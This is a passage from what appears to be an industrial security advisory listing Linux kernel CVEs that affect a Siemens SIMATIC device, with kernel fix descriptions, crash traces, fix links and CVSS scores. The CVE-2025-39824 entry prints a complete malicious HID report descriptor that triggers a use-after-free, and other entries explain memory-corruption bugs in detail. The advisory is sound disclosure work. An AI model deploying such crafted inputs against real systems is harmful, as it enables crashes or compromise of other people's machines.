'panic_on_warn' is enabled and unnecessary call trace prints when 'panic_on_warn' is disabled. It is seen during fast software-controlled connect/disconnect testcases. The following is one such endpoint command timeout that we observed: 1. Connect ======= ->dwc3_thread_interrupt ->dwc3_ep0_interrupt ->configfs_composite_setup ->composite_setup ->usb_ep_queue ->dwc3_gadget_ep0_queue ->__dwc3_gadget_ep0_queue ->__dwc3_ep0_do_control_data ->dwc3_send_gadget_ep_cmd 2. Disconnect ========== ->dwc3_thread_interrupt ->dwc3_gadget_disconnect_interrupt ->dwc3_ep0_reset_state ->dwc3_ep0_end_control_data ->dwc3_send_gadget_ep_cmd In the issue scenario, in Exynos platforms, we observed that control transfers for the previous connect have not yet been completed and end transfer command sent as a part of the disconnect sequence and processing of USB_ENDPOINT_HALT feature request from the host timeout. This maybe an expected scenario since the controller is processing EP commands sent as a part of the previous connect. It maybe better to remove WARN_ON in all places where device endpoint commands are sent to avoid unnecessary kernel panic due to warn.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39806\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: multitouch: fix slab out-of-bounds access in mt_report_fixup() A malicious HID device can trigger a slab out-of-bounds during mt_report_fixup() by passing in report descriptor smaller than 607 bytes. mt_report_fixup() attempts to patch byte offset 607 of the descriptor with 0x25 by first checking if byte offset 607 is 0x15 however it lacks bounds checks to verify if the descriptor is big enough before conducting this check. Fix this bug by ensuring the descriptor size is at least 608 bytes before accessing it. Below is the KASAN splat after the out of bounds access happens: [ 13.671954] ================================================================== [ 13.672667] BUG: KASAN: slab-out-of-bounds in mt_report_fixup+0x103/0x110 [ 13.673297] Read of size 1 at addr ffff888103df39df by task kworker/0:1/10 [ 13.673297] [ 13.673297] CPU: 0 UID: 0 PID: 10 Comm: kworker/0:1 Not tainted 6.15.0-00005-gec5d573d83f4-dirty #3 [ 13.673297] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/04 [ 13.673297] Call Trace: [ 13.673297] [ 13.673297] dump_stack_lvl+0x5f/0x80 [ 13.673297] print_report+0xd1/0x660 [ 13.673297] kasan_report+0xe5/0x120 [ 13.673297] __asan_report_load1_noabort+0x18/0x20 [ 13.673297] mt_report_fixup+0x103/0x110 [ 13.673297] hid_open_report+0x1ef/0x810 [ 13.673297] mt_probe+0x422/0x960 [ 13.673297] hid_device_probe+0x2e2/0x6f0 [ 13.673297] really_probe+0x1c6/0x6b0 [ 13.673297] __driver_probe_device+0x24f/0x310 [ 13.673297] driver_probe_device+0x4e/0x220 [ 13.673297] __device_attach_driver+0x169/0x320 [ 13.673297] bus_for_each_drv+0x11d/0x1b0 [ 13.673297] __device_attach+0x1b8/0x3e0 [ 13.673297] device_initial_probe+0x12/0x20 [ 13.673297] bus_probe_device+0x13d/0x180 [ 13.673297] device_add+0xe3a/0x1670 [ 13.673297] hid_add_device+0x31d/0xa40 [...]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39808\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: hid-ntrig: fix unable to handle page fault in ntrig_report_version() in ntrig_report_version(), hdev parameter passed from hid_probe(). sending descriptor to /dev/uhid can make hdev->dev.parent->parent to null if hdev->dev.parent->parent is null, usb_dev has invalid address(0xffffffffffffff58) that hid_to_usb_dev(hdev) returned when usb_rcvctrlpipe() use usb_dev,it trigger page fault error for address(0xffffffffffffff58) add null check logic to ntrig_report_version() before calling hid_to_usb_dev()\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39812\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: sctp: initialize more fields in sctp_v6_from_sk() syzbot found that sin6_scope_id was not properly initialized, leading to undefined behavior. Clear sin6_scope_id and sin6_flowinfo. BUG: KMSAN: uninit-value in __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 sctp_inet6_cmp_addr+0x4f2/0x510 net/sctp/ipv6.c:983 sctp_bind_addr_conflict+0x22a/0x3b0 net/sctp/bind_addr.c:390 sctp_get_port_local+0x21eb/0x2440 net/sctp/socket.c:8452 sctp_get_port net/sctp/socket.c:8523 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x710/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930 x64_sys_call+0x271d/0x3e20 arch/x86/include/generated/asm/syscalls_64.h:51 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xd9/0x210 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Local variable addr.i.i created at: sctp_get_port net/sctp/socket.c:8515 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x650/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39813\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ftrace: Fix potential warning in trace_printk_seq during ftrace_dump When calling ftrace_dump_one() concurrently with reading trace_pipe, a WARN_ON_ONCE() in trace_printk_seq() can be triggered due to a race condition. The issue occurs because: CPU0 (ftrace_dump) CPU1 (reader) echo z > /proc/sysrq-trigger !trace_empty(&iter) trace_iterator_reset(&iter) <- len = size = 0 cat /sys/kernel/tracing/trace_pipe trace_find_next_entry_inc(&iter) __find_next_entry ring_buffer_empty_cpu <- all empty return NULL trace_printk_seq(&iter.seq) WARN_ON_ONCE(s->seq.len >= s->seq.size) In the context between trace_empty() and trace_find_next_entry_inc() during ftrace_dump, the ring buffer data was consumed by other readers. This caused trace_find_next_entry_inc to return NULL, failing to populate `iter.seq`. At this point, due to the prior trace_iterator_reset, both `iter.seq.len` and `iter.seq.size` were set to 0. Since they are equal, the WARN_ON_ONCE condition is triggered. Move the trace_printk_seq() into the if block that checks to make sure the return value of trace_find_next_entry_inc() is non-NULL in ftrace_dump_one(), ensuring the 'iter.seq' is properly populated before subsequent operations.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39817\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: efivarfs: Fix slab-out-of-bounds in efivarfs_d_compare Observed on kernel 6.6 (present on master as well): BUG: KASAN: slab-out-of-bounds in memcmp+0x98/0xd0 Call trace: kasan_check_range+0xe8/0x190 __asan_loadN+0x1c/0x28 memcmp+0x98/0xd0 efivarfs_d_compare+0x68/0xd8 __d_lookup_rcu_op_compare+0x178/0x218 __d_lookup_rcu+0x1f8/0x228 d_alloc_parallel+0x150/0x648 lookup_open.isra.0+0x5f0/0x8d0 open_last_lookups+0x264/0x828 path_openat+0x130/0x3f8 do_filp_open+0x114/0x248 do_sys_openat2+0x340/0x3c0 __arm64_sys_openat+0x120/0x1a0 If dentry->d_name.len < EFI_VARIABLE_GUID_LEN , 'guid' can become negative, leadings to oob. The issue can be triggered by parallel lookups using invalid filename: T1 T2 lookup_open ->lookup simple_lookup d_add // invalid dentry is added to hash list lookup_open d_alloc_parallel __d_lookup_rcu __d_lookup_rcu_op_compare hlist_bl_for_each_entry_rcu // invalid dentry can be retrieved ->d_compare efivarfs_d_compare // oob Fix it by checking 'guid' before cmp.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39819\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/smb: Fix inconsistent refcnt update A possible inconsistent update of refcount was identified in `smb2_compound_op`. Such inconsistent update could lead to possible resource leaks. Why it is a possible bug: 1. In the comment section of the function, it clearly states that the reference to `cfile` should be dropped after calling this function. 2. Every control flow path would check and drop the reference to `cfile`, except the patched one. 3. Existing callers would not handle refcount update of `cfile` if -ENOMEM is returned. To fix the bug, an extra goto label \"out\" is added, to make sure that the cleanup logic would always be respected. As the problem is caused by the allocation failure of `vars`, the cleanup logic between label \"finished\" and \"out\" can be safely ignored. According to the definition of function `is_replayable_error`, the error code of \"-ENOMEM\" is not recoverable. Therefore, the replay logic also gets ignored.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39823\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: KVM: x86: use array_index_nospec with indices that come from guest min and dest_id are guest-controlled indices. Using array_index_nospec() after the bounds checks clamps these values to mitigate speculative execution side-channels.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39824\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: asus: fix UAF via HID_CLAIMED_INPUT validation After hid_hw_start() is called hidinput_connect() will eventually be called to set up the device with the input layer since the HID_CONNECT_DEFAULT connect mask is used. During hidinput_connect() all input and output reports are processed and corresponding hid_inputs are allocated and configured via hidinput_configure_usages(). This process involves slot tagging report fields and configuring usages by setting relevant bits in the capability bitmaps. However it is possible that the capability bitmaps are not set at all leading to the subsequent hidinput_has_been_populated() check to fail leading to the freeing of the hid_input and the underlying input device. This becomes problematic because a malicious HID device like a ASUS ROG N-Key keyboard can trigger the above scenario via a specially crafted descriptor which then leads to a user-after-free when the name of the freed input device is written to later on after hid_hw_start(). Below, report 93 intentionally utilises the HID_UP_UNDEFINED Usage Page which is skipped during usage configuration, leading to the frees. 0x05, 0x0D, // Usage Page (Digitizer) 0x09, 0x05, // Usage (Touch Pad) 0xA1, 0x01, // Collection (Application) 0x85, 0x0D, // Report ID (13) 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00) 0x09, 0xC5, // Usage (0xC5) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x04, // Report Count (4) 0xB1, 0x02, // Feature (Data,Var,Abs) 0x85, 0x5D, // Report ID (93) 0x06, 0x00, 0x00, // Usage Page (Undefined) 0x09, 0x01, // Usage (0x01) 0x15, 0x00, // Logical Minimum (0) 0x26, 0xFF, 0x00, // Logical Maximum (255) 0x75, 0x08, // Report Size (8) 0x95, 0x1B, // Report Count (27) 0x81, 0x02, // Input (Data,Var,Abs) 0xC0, // End Collection Below is the KASAN splat after triggering the UAF: [ 21.672709] ================================================================== [ 21.673700] BUG: KASAN: slab-use-after-free in asus_probe+0xeeb/0xf80 [ 21.673700] Write of size 8 at addr ffff88810a0ac000 by task kworker/1:2/54 [ 21.673700] [ 21.673700] CPU: 1 UID: 0 PID: 54 Comm: kworker/1:2 Not tainted 6.16.0-rc4-g9773391cf4dd-dirty #36 PREEMPT(voluntary) [ 21.673700] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 [ 21.673700] Call Trace: [ 21.673700] [ 21.673700] dump_stack_lvl+0x5f/0x80 [ 21.673700] print_report+0xd1/0x660 [ 21.673700] kasan_report+0xe5/0x120 [ 21.673700] __asan_report_store8_noabort+0x1b/0x30 [ 21.673700] asus_probe+0xeeb/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Allocated by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_alloc_info+0x3b/0x50 [ 21.673700] __kasan_kmalloc+0x9c/0xa0 [ 21.673700] __kmalloc_cache_noprof+0x139/0x340 [ 21.673700] input_allocate_device+0x44/0x370 [ 21.673700] hidinput_connect+0xcb6/0x2630 [ 21.673700] hid_connect+0xf74/0x1d60 [ 21.673700] hid_hw_start+0x8c/0x110 [ 21.673700] asus_probe+0x5a3/0xf80 [ 21.673700] hid_device_probe+0x2ee/0x700 [ 21.673700] really_probe+0x1c6/0x6b0 [ 21.673700] __driver_probe_device+0x24f/0x310 [ 21.673700] driver_probe_device+0x4e/0x220 [...] [ 21.673700] [ 21.673700] Freed by task 54: [ 21.673700] kasan_save_stack+0x3d/0x60 [ 21.673700] kasan_save_track+0x18/0x40 [ 21.673700] kasan_save_free_info+0x3f/0x60 [ 21.673700] __kasan_slab_free+0x3c/0x50 [ 21.673700] kfre ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39825\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb: client: fix race with concurrent opens in rename(2) Besides sending the rename request to the server, the rename process also involves closing any deferred close, waiting for outstanding I/O to complete as well as marking all existing open handles as deleted to prevent them from deferring closes, which increases the race window for potential concurrent opens on the target file. Fix this by unhashing the dentry in advance to prevent any concurrent opens on the target.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39826\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: rose: convert 'use' field to refcount_t The 'use' field in struct rose_neigh is used as a reference counter but lacks atomicity. This can lead to race conditions where a rose_neigh structure is freed while still being referenced by other code paths. For example, when rose_neigh->use becomes zero during an ioctl operation via rose_rt_ioctl(), the structure may be removed while its timer is still active, potentially causing use-after-free issues. This patch changes the type of 'use' from unsigned short to refcount_t and updates all code paths to use rose_neigh_hold() and rose_neigh_put() which operate reference counts atomically.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39827\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: rose: include node references in rose_neigh refcount Current implementation maintains two separate reference counting mechanisms: the 'count' field in struct rose_neigh tracks references from rose_node structures, while the 'use' field (now refcount_t) tracks references from rose_sock. This patch merges these two reference counting systems using 'use' field for proper reference management. Specifically, this patch adds incrementing and decrementing of rose_neigh->use when rose_neigh->count is incremented or decremented. This patch also modifies rose_rt_free(), rose_rt_device_down() and rose_clear_route() to properly release references to rose_neigh objects before freeing a rose_node through rose_remove_node(). These changes ensure rose_neigh structures are properly freed only when all references, including those from rose_node structures, are released. As a result, this resolves a slab-use-after-free issue reported by Syzbot.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39828\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: atm: atmtcp: Prevent arbitrary write in atmtcp_recv_control(). syzbot reported the splat below. [0] When atmtcp_v_open() or atmtcp_v_close() is called via connect() or close(), atmtcp_send_control() is called to send an in-kernel special message. The message has ATMTCP_HDR_MAGIC in atmtcp_control.hdr.length. Also, a pointer of struct atm_vcc is set to atmtcp_control.vcc. The notable thing is struct atmtcp_control is uAPI but has a space for an in-kernel pointer. struct atmtcp_control { struct atmtcp_hdr hdr; /* must be first */ ... atm_kptr_t vcc; /* both directions */ ... } __ATM_API_ALIGN; typedef struct { unsigned char _[8]; } __ATM_API_ALIGN atm_kptr_t; The special message is processed in atmtcp_recv_control() called from atmtcp_c_send(). atmtcp_c_send() is vcc->dev->ops->send() and called from 2 paths: 1. .ndo_start_xmit() (vcc->send() == atm_send_aal0()) 2. vcc_sendmsg() The problem is sendmsg() does not validate the message length and userspace can abuse atmtcp_recv_control() to overwrite any kptr by atmtcp_control. Let's add a new ->pre_send() hook to validate messages from sendmsg(). [0]: Oops: general protection fault, probably for non-canonical address 0xdffffc00200000ab: 0000 [#1] SMP KASAN PTI KASAN: probably user-memory-access in range [0x0000000100000558-0x000000010000055f] CPU: 0 UID: 0 PID: 5865 Comm: syz-executor331 Not tainted 6.17.0-rc1-syzkaller-00215-gbab3ce404553 #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/12/2025 RIP: 0010:atmtcp_recv_control drivers/atm/atmtcp.c:93 [inline] RIP: 0010:atmtcp_c_send+0x1da/0x950 drivers/atm/atmtcp.c:297 Code: 4d 8d 75 1a 4c 89 f0 48 c1 e8 03 42 0f b6 04 20 84 c0 0f 85 15 06 00 00 41 0f b7 1e 4d 8d b7 60 05 00 00 4c 89 f0 48 c1 e8 03 <42> 0f b6 04 20 84 c0 0f 85 13 06 00 00 66 41 89 1e 4d 8d 75 1c 4c RSP: 0018:ffffc90003f5f810 EFLAGS: 00010203 RAX: 00000000200000ab RBX: 0000000000000000 RCX: 0000000000000000 RDX: ffff88802a510000 RSI: 00000000ffffffff RDI: ffff888030a6068c RBP: ffff88802699fb40 R08: ffff888030a606eb R09: 1ffff1100614c0dd R10: dffffc0000000000 R11: ffffffff8718fc40 R12: dffffc0000000000 R13: ffff888030a60680 R14: 000000010000055f R15: 00000000ffffffff FS: 00007f8d7e9236c0(0000) GS:ffff888125c1c000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000000045ad50 CR3: 0000000075bde000 CR4: 00000000003526f0 Call Trace: vcc_sendmsg+0xa10/0xc60 net/atm/common.c:645 sock_sendmsg_nosec net/socket.c:714 [inline] __sock_sendmsg+0x219/0x270 net/socket.c:729 ____sys_sendmsg+0x505/0x830 net/socket.c:2614 ___sys_sendmsg+0x21f/0x2a0 net/socket.c:2668 __sys_sendmsg net/socket.c:2700 [inline] __do_sys_sendmsg net/socket.c:2705 [inline] __se_sys_sendmsg net/socket.c:2703 [inline] __x64_sys_sendmsg+0x19b/0x260 net/socket.c:2703 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xfa/0x3b0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f8d7e96a4a9 Code: 28 00 00 00 75 05 48 83 c4 28 c3 e8 51 18 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f8d7e923198 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f8d7e9f4308 RCX: 00007f8d7e96a4a9 RDX: 0000000000000000 RSI: 0000200000000240 RDI: 0000000000000005 RBP: 00007f8d7e9f4300 R08: 65732f636f72702f R09: 65732f636f72702f R10: 65732f636f72702f R11: 0000000000000246 R12: 00007f8d7e9c10ac R13: 00007f8d7e9231a0 R14: 0000200000000200 R15: 0000200000000250 Modules linked in:\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39835\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: xfs: do not propagate ENODATA disk errors into xattr code ENODATA (aka 